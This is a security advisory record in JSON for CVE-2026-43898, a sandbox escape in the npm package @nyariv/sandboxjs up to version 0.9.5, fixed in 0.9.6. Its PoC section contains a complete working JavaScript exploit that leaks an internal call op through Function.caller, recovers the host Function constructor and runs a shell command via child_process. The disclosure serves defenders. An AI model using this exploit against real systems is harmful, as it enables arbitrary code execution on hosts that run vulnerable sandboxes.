CVE-2026-43898: @nyariv/sandboxjs SandboxJS Has A Sandbox Escape Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g8f2-4f4f-5jqw",
  "modified" : "2026-06-09T02:00:59Z",
  "published" : "2026-05-11T19:40:00Z",
  "aliases" : [ "CVE-2026-43898" ],
  "summary" : "SandboxJS has a sandbox escape via Function.caller leakage of internal call op",
  "details" : "### Summary\nSandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.\n### Details\n\nThe vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback.\n\nIn [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:\n```js\nfunction f(){ return f.caller }\n```\nThat leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands\n\n### PoC\n```js\nconst sandb = require('@nyariv/sandboxjs').default;\nconst sand = new sandb(); \n\nconst payload = `\nconst callOp = (function fn() { return fn.caller; })();\n\nfunction makeContext(capture = () => {}) {\n  return { ctx: { options: 0 }, evals: { get: capture } };\n}\n\nfunction leakStatic(obj, prop) {\n  let leaked;\n  callOp({\n    done() {},\n    a() {},\n    b: [],\n    obj: { context: obj, prop, get() {} },\n    context: makeContext((fn) => (leaked = fn, () => 1))\n  });\n  return leaked;\n}\n\nfunction callDirect(fn, args) {\n  let value;\n  callOp({\n    done(_, result) { value = result; },\n    a() {},\n    b: args,\n    obj: fn,\n    context: makeContext()\n  });\n  return value;\n}\n\ncallDirect(leakStatic(Object, 'defineProperty'), [\n  leakStatic,\n  'call',\n  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [\n    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),\n    'constructor'\n  ])\n]);\n\nlet hostFn;\ncallOp({\n  done(_, result) { hostFn = result; },\n  a: leakStatic,\n  b: [],\n  obj: {\n    context: 'return process.getBuiltinModule(\"child_process\").execSync(\"whoami\").toString()',\n    get() {}\n  },\n  context: makeContext()\n});\n\nreturn hostFn();\n`;\n\nconsole.log(sand.compile(payload)().run());\n```\n### Impact\n_Sandbox escape leads to RCE_",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43898"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T19:40:00Z",
    "nvd_published_at" : "2026-05-28T18:16:32Z"
  }
}